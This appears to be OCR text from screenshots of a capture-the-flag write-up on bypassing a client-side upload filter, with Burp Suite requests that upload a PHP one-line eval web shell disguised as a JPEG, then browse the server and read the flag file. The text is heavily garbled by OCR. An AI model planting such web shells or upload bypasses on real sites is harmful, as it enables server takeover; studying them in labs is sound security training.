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Request Response
J Raw I Params I Headers Tm Raw | Headers | Hex
POST findex.php HTTP/1.1 [a while (i--) {
Host: 111.198.29.45:59162 ') i (this[i] === obj) {
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; return true;
m:69.0) Gecko /20100101 Firefox/69.0 }
Accept: }
text/html.application/xhtml+xml,application/xml;q=0.9,%/*q return false;
=0.8 }
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HI;q=0.5,en-US;q=0.3,en;q= function check(){
0.2 upfile = document.getElementByld('upfile');
Content-Type: multipart/form-data; submit = document.getElementByld('submit");
boundary=-----------------mmm oo 168279961491 name = upfile.value;
Content-Length: 79099 ext = name.replace(/*.+\./,"");
Connection: close
Referer: http://111.198.29.45:59162/index.php if(['jpg".'png'l.contains(ext)){
Upgrade-Insecure-Requests: 1 submit.disabled = false;

else{

————————————————————————————— 168279961491 submit.disabled = true;
Content-Disposition: form-data; name="upfile";
filename="EEiEIEEOAIRNEESEGREEOEDjpg" alert(HHEOBERORIFRERELA IR0
Content-Type: image/jpeq }

function check(){
document.getElementById(
document.getElementById(
upfile.value;

ext = name.replace(/".+\./,'");

if([ ; ].contains(ext)){
submit.disabled false;
}else{

submit.disabled true;

alert(
}
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Forbidden

You don't have permission to access /upload/ on this server.

@ 111.198.29.45:59162/upload/
@ F=rw DOsmmn ©=xms
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Apache/2.4.25 (Debian) Server at 111.198.29.45 Port 59162
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Burp Intruder Repeater Window Help

E’ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosecan - O ¥

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts T Ccoz2 Tm\-’alidatnr ]

(o]z-]¢x]5[os] ]

< v > |
Request

Raw | Headers | Hex

Target: http:/1111.198.29.45:51789 | & ?

Response

_[ Raw T Headers | Hex | HTML T Render ]

GET /upload/HTTP/1.1 E
Host: 111.198.29.45:51789
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
nv:69.0) Gecko /20100101 Firefox/69.0
Accept:
text/html application/xhtml+xml,application/xml;q=0.9,%/*q
=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;g=0.7 zh-HK;q=0.5,en-US;q=0.3 .en;q=
0.2
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
X-Forwarded-For: 127.0.0.1
Cache-Control: no-cache
=
¥
[EJ EJ EJ EJ Type a search term 0 matches
Done
SR RIK

2R —AEARD: <?php @eval($_POST['chopper]);?>
b5 BRI R A P 3E ) o

HTTP/1.1 403 Forbidden

Date: Wed, 02 Oct 2019 07:11:43 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 298

Connection: close

Content-Type: text/html; charset=iso-8859-1

e

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html=<head>

<title>403 Forbidden</title>

</head><body>

<h1>Forbidden</h1>

<p>You don't have permission to access fupload/

on this server.<br />

</p=

<hrs>

<address>Apache/2.4.25 (Debian) Serverat111.198.29.45
Port 51789</address>

</body></html>

=
¥

0 matches

478 bytes | 21 milis
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1 HTTP/1.1 200 OK

_.I; Date: Wed, 02 Oct 2019 07:08:44 GMT
server: Apache/2.4.25 (Debian)
Last-Modified: Wed, 02 Oct 2019 06:55:24 GMT
ETag: "21-593e7i40a1e64"
Accept-Ranges: bytes
Content-Length: 33
Content-Type: image/jpeg

<?php @eval(5_POST['chopper]);?=
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Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder TRepeate: T Sequencer T Decoder I Comparer ]' Extender I Project aptions I User options I Alerts ]' Co2 I x=zs\ alidator ]
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Go Cancel < | > | Target: http:i1111.198.29.45:51789 | #( | 7

Request Response
J Raw I Params ]’ Headers Tm Raw | Headers | Hex
POST findex.php HTTP/1.1 s HTTR/1.1 200 OK [s
Host: 111.198.29.45:51789 h Date: Wed, 02 Oct 2012 07:19:16 GMT M
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Server: Apache/2.4.25 (Debian)
rnv:69.0) Gecko/20100101 Firefox/69.0 X-Powered-By: PHP/5.6.37
Accept: Vary: Accept-Encoding
text/html,application/xhtml+xml,application/xml;q=0.9,%/*q Content-Length: 956
=0.8 Connection: close
Accept-Language: Content-Type: text/html; charset=UTF-8 %
zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HI{;q=0.5,en-US;q=0.3 en;q=
0.2
Content-Type: multipart/form-data; upload success : upload/1570000756.s.php
boundary=---------------m-m--m- - 51042263627990 <!Doctype html>
Content-Length: 220 <html=
Connection: close <head>
Referer: http://111.198.29.45:51789/index.php <meta http-equiv="Content-Type" content="text/html;
Upgrade-Insecure-Requests: 1 charset=utf-8" />
————————————————————————————— 51042263827990 <script type="text/javascript" >
Content-Disposition: form-data; name="upfile";




nmename= s.pnp

Content-Type: image/jpeq Array.prototype.contains = function (obj) {
var i = thislength;
<?php @eval(3_POST['chopper']);?= while (i--) {
rmmmemmmeemnmeee oo -5 1042263827990 T if(this[] === obj) { [x
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upload success : upload/1570000745.5.jpg
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Up I!varfm!htnﬂ.r’upluad! - I

B 7 FileName | Time | Size | B... |
E-C var | 15£9595775. 1111111 ipg 2018-10-02 07:02:58 178 o
B | 1565555772 1111111 ipg 2015-10-02 07:02:52 178 w
E“:] gm- |1se5958€1s . FEERABAEH EREE ipg 2015-10-02 0€:43:35 78381 e
upload | 15639933245 3pg 2019-10-02 0€:55:24 33 rw
| 15€9995715.1111111. pg 2015-10-02 07:01:55 178 -
| 1570000758 5. phe 2015-10-02 07:18:1¢ 33 o
| 1570000704 5. 3pg 2015-10-02 07:18:24 33 w
| 15700007455 3pg 2015-10-02 07:18:05 33 o
| 15€9998920.1111111. ipg 2015-10-02 06:48:40 178 o
| 15£9599784. 1111111 ipg 2018-10-02 07:03:04 178 o
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@ 111.198.29.45:51%. Ia 111.198.29.45:51%, m 111.198.29.45:51%,
I.r”_var;”mm;"htmlf

B / FileName I Time I Size I E..
EE‘ war Cupload 2019-10-02 07:19:1€ 409 w
E‘E] ks | | index.html 2018-05-12 0l:54:42 11510 W
EE‘ | | index.php 2015-05-12 01:54:42 1386 W
""" upload | | £1ag.php 2015-10-02 0€:42:44 €3 W
| |install_sh 2018-05-12 0l:54:42 221 W
IFoIder[I],FiIeH] i"f‘:ﬁ&%ﬁ‘ﬂ g
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fwar/www/html/£lag.php

?php
$flag="cyberpeace{542405€clc4d35bi£fc2e7dET4bT0bdeal}™;
=

Z R & Mflagh: cyberpeace{5424056¢1c4d35b8fc267df74b70bdea}
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